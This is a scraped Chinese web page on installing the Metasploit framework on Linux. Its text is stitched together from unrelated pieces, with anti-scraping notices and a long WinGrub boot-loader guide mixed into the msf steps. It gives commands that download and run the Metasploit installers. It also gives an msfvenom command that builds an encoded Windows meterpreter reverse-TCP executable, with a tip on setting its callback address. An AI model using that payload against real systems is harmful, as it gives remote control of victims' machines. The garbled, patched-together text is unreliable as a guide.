linux系统安装msf的过程详解_Linux

来源:脚本之家  责任编辑:小易  

先下个VM 再下个linux的ISO文件,选好安装在windows的哪个分区,虚拟设几个硬件,但虚拟机的内存不要超过你的物理内存,用虚拟光驱加载那个ISO,点开机,然后安装www.zgxue.com防采集请勿采集本网。

还是自己写下安装过程吧!

http://jingyan.baidu.com/article/20b68a880a6437796cec62fa.html 基本上就这样,可以使用虚拟系统来装 也可以找个u盘做成linux启动盘,刻光盘也可以 其他安装步骤基本上都是下一步。主要是你会

我的服务器系统是 Aliyun linux

还好论坛上有位老外写了个从光盘安装方法,对配置是有借鉴作用,虽然我是从硬盘安装的(从各种LINUX论坛去搜高手写的文档,百度和GOOGLE早已搜刮过了,经过扒皮抽筋吸髓,差不多了,也找到了一两副文档

1、下载安装

注意,在启动Linux的安装过程之后,没有类似Windows系统安装中“退出安装”的功能选项。如果用户在安装过程中碰到无法解决的问题而不能继续进行安装时,可以同时按下“Ctrl+Alt+Delete”键退出安装过程

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

1.设置安装环境 2.硬盘分区 3.安装启动程序 4.网络配置 5 语言支持 一般设置默认语言为US.English,然后选择支 持中文即可 6 设置时区 7 账号与密码设置 8 安装组件 10 设置X Window 系统

可能报错:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

可以用U盘安装的,直接百度即可

是因为安装库的问题!

解决方法:

yum install -y epel-release

然后再重复上面那条命令!

2、添加新用户运行msf

adduser msf       #添加msf用户

su msf                #切换到msf用户

cd  /opt/metasploit-framework/bin   #切换到msf所在的目录

./msfconsole

#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。

如果使用root用户启动的话,不会同步数据库!

(启动索引已经默认配好了!)

直接 msfconsole 就可以启动了!

#相关命令[msf@xxxx root]$ msfmsfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom#数据库初始化[msf@xxxx root]$ msfdbCommands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component

#测试:e.g.我的虚拟主机是 Win2003(目标机)msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]

在这里插入图片描述

ps:linux系统下安装msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.runchmod 755 metasploit-latest-linux-installer.run./metasploit-latest-linux-installer.run

等待运行结束即可。关键地方按回车和Y即可。

总结

到此这篇关于linux系统安装msf的过程详解的文章就介绍到这了,更多相关linux系统安装msf内容请搜索真格学网以前的文章或继续浏览下面的相关文章希望大家以后多多支持真格学网!

这里介绍一种比较极端的安装办法,什么叫极端呢?没有光驱,更没有软驱,呵呵.本文的前提是你已经安装了windows2000/windowsXP一个系统,在windows下安装wingrub设置引导,安装设置好后,重起后按F8进入操作系统选单.选 mygrub 选单就可以了WinGrub 引导安装linux详述用WinGrub来引导Linux的安装有些弟兄没有光驱,也无刻录机,更没有软驱,在这种情况下,如何才能把Linux安装上呢?本文的重点就在这里;一、关于系统引导管理器的简单介绍;系统引导管理器grub就是一个多操作系统的引导管理器;wingrub是grub的windows版本二、wingrub的安装:1、下载地址:http://grub4dos.sourceforge.net在上面的网址中,有下载页面,里面说的就是wingrub;2、安装:1]安装grub软件到机器中,点鼠标应该会吧,就直接按它默认的安装,下一步、下一步就安装好了;2]安装grub;打开 wingrub程序,选择 tools菜单,然后点击 install grub,出来一个对话框;这里面有两个方法供我们选择;(个人建议选B)A)我们直接点一下Boot From Grub Partion 就行,然后点击,右边的下接框;选择要安装在哪个分区中,然后按最下边的[install];您可能在下拉的菜单的对话框中,看到的是(hd0,0)或者(hd0,1)等,那就选(hd0,0);如果您只看到(hd0,1),说明您的第一个分区是NTFS的,这也没有什么,很正常;如果您看不到什么下拉框,您就看下面的办法;B)您可以点 Systerm Device,然后在右边的选择框中,选C;然后再点BOOT FROM BOOT.INI 就好,如果不行就换;在Title 中写入mygrub;然后在 Time OUT 写上 10;这样grub就安装好了;他的配置文件在 c:\\grub\\中,配置文件是c:\\grub\\menu.lst,这个配置文件起到决定性作用;所以我们一定要写好;语法和Linux中的没有区别;是一样的;A和B还是有点小小的区别,A的方法是开机就能看到所有的在menu.lst中系统;而 B,则必须按一下刚才我们所填写的mygrub,然后才能看到在menu.lst所提到的系统;3、配置 grub;其实最简单的配置方法不是来自于图形的点鼠标,初学Linux的弟兄可能会说,我不点鼠标,我能做什么?呵。没错,但在配置 grub的过程中,最没有效率的就是点鼠标;其实我们点了十几分钟的鼠标,也是达到一个目的,就是把grub配置起来。而他的配置文件就是c:\\grub\\menu.lst,我们挥汗如雨的点鼠标,无非是配置这个文件;如果不用点鼠标的办法来配置,一分钟都不到就OK;只要掌握一点小小的技巧;有何难呢?在配置 c:\\grub\\menu.lst的过程中,我们只是再用一下 wingrub的查看分区的界面,其它的只是用记事本就能写好;c:\\grub是隐藏起来的,我们要在游览器中加入c:\\grub 就可以看得到;0]打开wingrub,点tools=》partioinlist(分区列表),这里能了解到机器的分区,比如我们可能看到的 FAT32的分区是(hd0,1)等等,事实上,我们的确需要fat32分来来存放下载的Linux光盘映象;我们通过这个能知道我们把光盘ISO存放到(hdX,Y)了,也能知道(hdX,Y)所对应的Windows分区的是哪个,是C,还是D,还是E,明白了吧;1]首先我们找一个FAT 32的分区,把下载下来的ISO直接放到分区的根目录下面,不要放在任何目录中;2]还是在这个分区,建一个目录,比如是linux,从下来下来的第一张ISO中isolinux中抽取 vmlinuz 和 initrd.img 两个文件,放到linux目录中;注意只放这两个文件,不要放其它的内容,如果放了其它的,可能出现安装到中途退出的情况;注意:目录是名是小写的;在书写menu.lst 时,我们要用半角英文,标点之类的全是半角的;title root kernel initrd 全是小写的英文;切注意大小写;3]书写menu.lst,怎么书写,对我来说难吗?不难!我们打开menu.lst 后,可能里面已经有内容了,比如有个 timeout 10,如果没有这行可以自己写上;没有什么难的;timeout 10#这是开机等待进入系统的时间,是10秒title WindowsXP#我们的机器 中都有 windows,这个就是用来启动windows的;总共有四行,不要弄错了,可以照抄到你的配置文件中;root(hd0,0)makeactivechainloader+1简单的 menu.lst 配置 linux 引导说明;通过menu.lst,我们可以配置 Linux的启动和引导;不只是安装的引导,也可以引导已经安装好的Linux系统;语法结构有下的四条,举例如下:总共有两个书写格式,任选其一;格式一:最简单:代码:title fc4installroot(hd0,1)kernel(hd0,1)/linux/vmlinuzinitrd(hd0,1)/linux/initrd.imgtitle 这行就是我们在开机时,所看到的菜单,显示的就是 fc4install,要加在 title 的后面,title是必须保留的,是grub的语法的标签,我们可以在title 后面写我们想要加的东西,这是自己可以定义的,比如 title fc4setup也是可以的;root(hd0,1)这行能用 以root开头,然后加一个空格,至于您把vmlinuz和initrd.img 放在哪个分区了,用打开 wingrub,点tools=》partioinlist(分区列表)中查到kernel 这行,以kernel 开头,然后加一个空格,主要说的是vmlinuz文件放在哪个分区,哪个目录了;除了kernel 后面有一个空格外,在这行中,其它地方没有空格;这行说的是我们用放在(hd0,1)分区下的linux目录中的kernel 来内核来启动;initrd 这行,和 kernel 那行类似;没有什么难的,自己的文件放在哪个分区,哪个目录了,自己最知道吧;格式二:比较麻烦一点:理解着看吧;代码:title fc4installroot(hd0,1)kernel/linux/vmlinuz ro root=dev/hda2initrd/linux/initrd.imgtitle 这行就是我们在开机时,所看到的菜单,显示的就是 FC4install,要加在 title 的后面,title是必须保留的,是grub的语法的标签,我们可以在title 后面写我们想要加的东西,这是自己可以定义的,比如 title fc4setup也是可以的;root 这行,在本例中是 root(hd0,1),这行就是我们打开 wingrub,点tools=》partioinlist(分区列表)中查到的;我们通过这个知道我们把解压出来的 vmlinuz和initrd.img 所处的分区和路径;内容来自www.zgxue.com请勿采集。


  • 本文相关:
  • php-msf源码详解
  • 系统存储过程sp_msforeachtable和sp_msforeachdb使用说明
  • apache 配置文件中文版 httpd.conf for apache 2.2.13
  • 查看linux文件的命令详解
  • 新手入门级linux系统常用命令大全
  • centos7 + node.js + nginx + mysql搭建服务器全过程
  • 详解centos6.8 安装ftp及添加用户
  • linux下安装nodejs及npm的方法
  • linux修改mac地址方法分享
  • 我常用的一些linux命令小结
  • centos7系统增加swap的操作方法实例
  • linux下apache http server 2.4.26安装教程
  • 如何安装linux 系统?要全部过程哦!谢谢哈啊!!!
  • 如何使用VMware安装Linux系统..详细过程...
  • 在安装linux系统时,直接进入linux桌面,没有安装过程
  • 如何完成安装linux系统的过程?
  • 如何安装linux系统 具体步骤
  • linux系统安装过程
  • linux操作系统的安装方式有哪些
  • LINUX系统安装过程
  • 怎样安装linux系统?
  • 简述linux系统安装的引导过程?
  • 网站首页网页制作脚本下载服务器操作系统网站运营平面设计媒体动画电脑基础硬件教程网络安全星外虚拟主机华众虚拟主机linuxwin服务器ftp服务器dns服务器tomcat nginxzabbix云和虚拟化服务器其它首页服务器linuxphp-msf源码详解系统存储过程sp_msforeachtable和sp_msforeachdb使用说明apache 配置文件中文版 httpd.conf for apache 2.2.13查看linux文件的命令详解新手入门级linux系统常用命令大全centos7 + node.js + nginx + mysql搭建服务器全过程详解centos6.8 安装ftp及添加用户linux下安装nodejs及npm的方法linux修改mac地址方法分享我常用的一些linux命令小结centos7系统增加swap的操作方法实例linux下apache http server 2.4.26安装教程apache开启.htaccess及.htaccessservice temporarily unavailabllinux下实现免密码登录(超详细)apache rewrite url重定向功能的linux下用cron定时执行任务的方法apache性能测试工具ab使用详解centos 6.4安装配置lamp服务器(a阿里云服务器ping不通解决办法(centos+nginx+php+mysql详细配置apache you don""t have permisslinux上进行常用软件的配置方法linux下安装golang的方法vps centos-6 下 lnmp http web服务器的搭关于linux服务器下vsftpd的一些问题ssh远程登陆没有用户名和主机名的解决方法php程序员玩转linux系列 自动备份与svnlinux十个新手命令分享apache服务器中使用.htaccess实现伪静态ulinux虚拟主机面板 kloxo安装及汉化教程分linux nohup及tail-f用法
    免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved